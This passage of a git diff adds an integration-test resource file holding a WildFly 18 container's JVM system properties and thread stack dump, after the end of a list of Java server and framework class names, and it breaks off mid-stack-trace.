+com.ibm.ws.util.ThreadPool$Worker +com.ibm.ws.webcontainer.WSWebContainer +com.ibm.ws.webcontainer.WebContainer +com.ibm.ws.webcontainer.channel.WCChannelLink +com.ibm.ws.webcontainer.filter.FilterInstanceWrapper +com.ibm.ws.webcontainer.filter.WebAppFilterChain +com.ibm.ws.webcontainer.filter.WebAppFilterManager +com.ibm.ws.webcontainer.servlet.CacheServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapper +com.ibm.ws.webcontainer.servlet.ServletWrapperImpl +com.ibm.ws.wlm.threadmanager.SleeperThreadPool +com.ibm.wsspi.bootstrap.WSLauncher +com.ibm.wsspi.bootstrap.WSPreLauncher +openj9.internal.tools.attach.target.CommonDirectory +openj9.internal.tools.attach.target.IPC +openj9.internal.tools.attach.target.WaitLoop +org.apache.felix.scr.impl.ComponentActorThread +org.apache.logging.suapW.ErrorHandler +org.eclipse.core.internal.jobs.Worker +org.eclipse.core.internal.jobs.WorkerPool +org.eclipse.core.launcher.Main +org.eclipse.core.runtime.adaptor.EclipseStarter +org.eclipse.core.runtime.internal.adaptor.EclipseAppLauncher +org.eclipse.equinox.internal.app.EclipseAppContainer +org.eclipse.equinox.internal.app.EclipseAppHandle +org.eclipse.osgi.framework.eventmgr.EventManager$EventThread +org.eclipse.osgi.framework.internal.core.Framework diff --git a/integration-test/src/test/resources/infos/Wildfly18ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Wildfly18ContainerTestBasicInfo.txt new file mode 100644 index 00000000..bf888bc4 --- /dev/null +++ b/integration-test/src/test/resources/infos/Wildfly18ContainerTestBasicInfo.txt @@ -0,0 +1,1325 @@ +# Generated At 2025-08-10 15:06:14 +SystemProps: +[Standalone]: +awt.toolkit: sun.awt.X11.XToolkit +java.specification.version: 11 +sun.cpu.isalist: +logging.configuration: file:/opt/jboss/wildfly/standalone/configuration/logging.properties +sun.jnu.encoding: ANSI_X3.4-1968 +java.class.path: /opt/jboss/wildfly/jboss-modules.jar +jboss.server.deploy.dir: /opt/jboss/wildfly/standalone/data/content +java.vm.vendor: Oracle Corporation +sun.arch.data.model: 64 +org.jboss.resolver.warning: true +java.vendor.url: http://java.oracle.com/ +user.timezone: UTC +os.name: Linux +java.vm.specification.version: 11 +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /usr/lib/jvm/java-11-openjdk-11.0.5.10-0.el7_7.x86_64/lib +sun.java.command: /opt/jboss/wildfly/jboss-modules.jar -mp /opt/jboss/wildfly/modules org.jboss.as.standalone -Djboss.home.dir=/opt/jboss/wildfly -Djboss.server.base.dir=/opt/jboss/wildfly/standalone -b 0.0.0.0 +jdk.debug: release +sun.cpu.endian: little +jboss.server.config.dir: /opt/jboss/wildfly/standalone/configuration +user.home: /opt/jboss +user.language: en +java.specification.vendor: Oracle Corporation +jboss.qualified.host.name: f84cd239f898 +java.naming.factory.url.pkgs: org.jboss.as.naming.interfaces +java.version.date: 2019-10-15 +java.home: /usr/lib/jvm/java-11-openjdk-11.0.5.10-0.el7_7.x86_64 +file.separator: / +jboss.server.persist.config: true +java.vm.compressedOopsMode: 32-bit +line.separator: + +jboss.server.data.dir: /opt/jboss/wildfly/standalone/data +java.specification.name: Java Platform API Specification +java.vm.specification.vendor: Oracle Corporation +jboss.server.base.dir: /opt/jboss/wildfly/standalone +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.awt.headless: true +org.apache.xml.security.ignoreLineBreaks: true +java.protocol.handler.pkgs: org.jboss.net.protocol|org.jboss.vfs.protocol +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 11.0.5+10-LTS +user.name: jboss +java.net.preferIPv4Stack: true +jboss.home.dir: /opt/jboss/wildfly +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +java.runtime.name: OpenJDK Runtime Environment +file.encoding: ANSI_X3.4-1968 +sun.nio.ch.bugLevel: +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: 18.9 +java.security.auth.login.config: jar:file:/opt/jboss/wildfly/modules/system/layers/base/org/picketbox/main/picketbox-5.0.3.Final.jar!/auth.conf +java.vendor.url.bug: http://bugreport.java.com/bugreport/ +jboss.server.log.dir: /opt/jboss/wildfly/standalone/log +java.io.tmpdir: /tmp +org.jboss.boot.log.file: /opt/jboss/wildfly/standalone/log/server.log +java.version: 11.0.5 +jboss.modules.system.pkgs: org.jboss.byteman +user.dir: /opt/jboss +os.arch: amd64 +java.vm.specification.name: Java Virtual Machine Specification +javax.management.builder.initial: org.jboss.as.jmx.PluggableMBeanServerBuilder +java.awt.printerjob: sun.print.PSPrinterJob +jboss.bind.address: 0.0.0.0 +jboss.host.name: f84cd239f898 +sun.os.patch.level: unknown +org.jboss.security.context.ThreadLocal: true +java.util.logging.manager: org.jboss.logmanager.LogManager +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +module.path: /opt/jboss/wildfly/modules +jboss.server.name: f84cd239f898 +java.vendor: Oracle Corporation +java.vm.info: mixed mode, sharing +jboss.modules.dir: /opt/jboss/wildfly/modules +java.vm.version: 11.0.5+10-LTS +sun.io.unicode.encoding: UnicodeLittle +jboss.server.temp.dir: /opt/jboss/wildfly/standalone/tmp +jboss.node.name: f84cd239f898 +java.class.version: 55.0 + +=========================================== + +ThreadStacks: +"ForkJoinPool.commonPool-worker-5" #143 daemon [WAITING] on java.util.concurrent.ForkJoinPool@6e4ed796 + java.lang.Thread.State: WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.5/java.util.concurrent.ForkJoinPool.runWorker(ForkJoinPool.java:1628) + at java.base@11.0.5/java.util.concurrent.ForkJoinWorkerThread.run(ForkJoinWorkerThread.java:177) + +"default I/O-22" #128 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 39" #66 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-6" #112 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 31" #56 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 5" #30 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 47" #74 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 53" #80 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 44" #71 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 36" #61 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-11" #117 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"default I/O-14" #120 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 19" #44 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-17" #123 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"DestroyJavaVM" #25 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Transaction Reaper Worker 0" #138 daemon [WAITING] on java.util.LinkedList@701f1bc + java.lang.Thread.State: WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at java.base@11.0.5/java.lang.Object.wait(Object.java:328) + at org.jboss.jts//com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForCancellations(TransactionReaper.java:328) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:65) + +"ServerService Thread Pool -- 14" #39 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"management I/O-1" #90 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@485fdb0b + java.lang.Thread.State: WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.base@11.0.5/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:170) + +"ServerService Thread Pool -- 9" #34 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 29" #54 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 46" #73 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ConnectionValidator" #131 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@50b557f1 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.5/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2211) + at org.jboss.ironjacamar.impl@1.4.17.Final//org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner.run(ConnectionValidator.java:263) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 16" #41 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-15" #121 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 26" #51 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 45" #72 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 52" #79 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 61" #88 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"Transaction Expired Entry Monitor" #136 daemon [TIMED_WAITING] on com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor@3a169b3b + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at org.jboss.jts//com.arjuna.ats.internal.arjuna.recovery.ExpiredEntryMonitor.run(ExpiredEntryMonitor.java:190) + +"XNIO-1 I/O-1" #133 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"ServerService Thread Pool -- 8" #33 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 68" #98 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 58" #85 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"ServerService Thread Pool -- 48" #75 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"Reference Reaper" #12 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@265f98e3 + java.lang.Thread.State: WAITING + at java.base@11.0.5/java.lang.Object.wait(Native Method) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@11.0.5/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at app//org.jboss.modules.ref.References$ReaperThread.run(References.java:64) + +"MSC service thread 1-5" #20 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@2edb1185 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + +"ServerService Thread Pool -- 73" #103 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"default I/O-10" #116 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:551) + +"ServerService Thread Pool -- 75" #105 [TIMED_WAITING] on org.jboss.threads.EnhancedQueueExecutor@4796214d + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.EnhancedQueueExecutor$ThreadBody.run(EnhancedQueueExecutor.java:1421) + at java.base@11.0.5/java.lang.Thread.run(Thread.java:834) + at org.jboss.threads@2.3.3.Final//org.jboss.threads.JBossThread.run(JBossThread.java:485) + +"management Accept" #95 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.5/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.5/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.5/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at org.jboss.xnio.nio@3.7.3.Final//org.xnio.nio.WorkerThread.run(WorkerThread.java:532) + +"DeploymentScanner-threads - 1" #64 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@186a00d6 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.5/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.5/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.5/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.5/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.5/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at 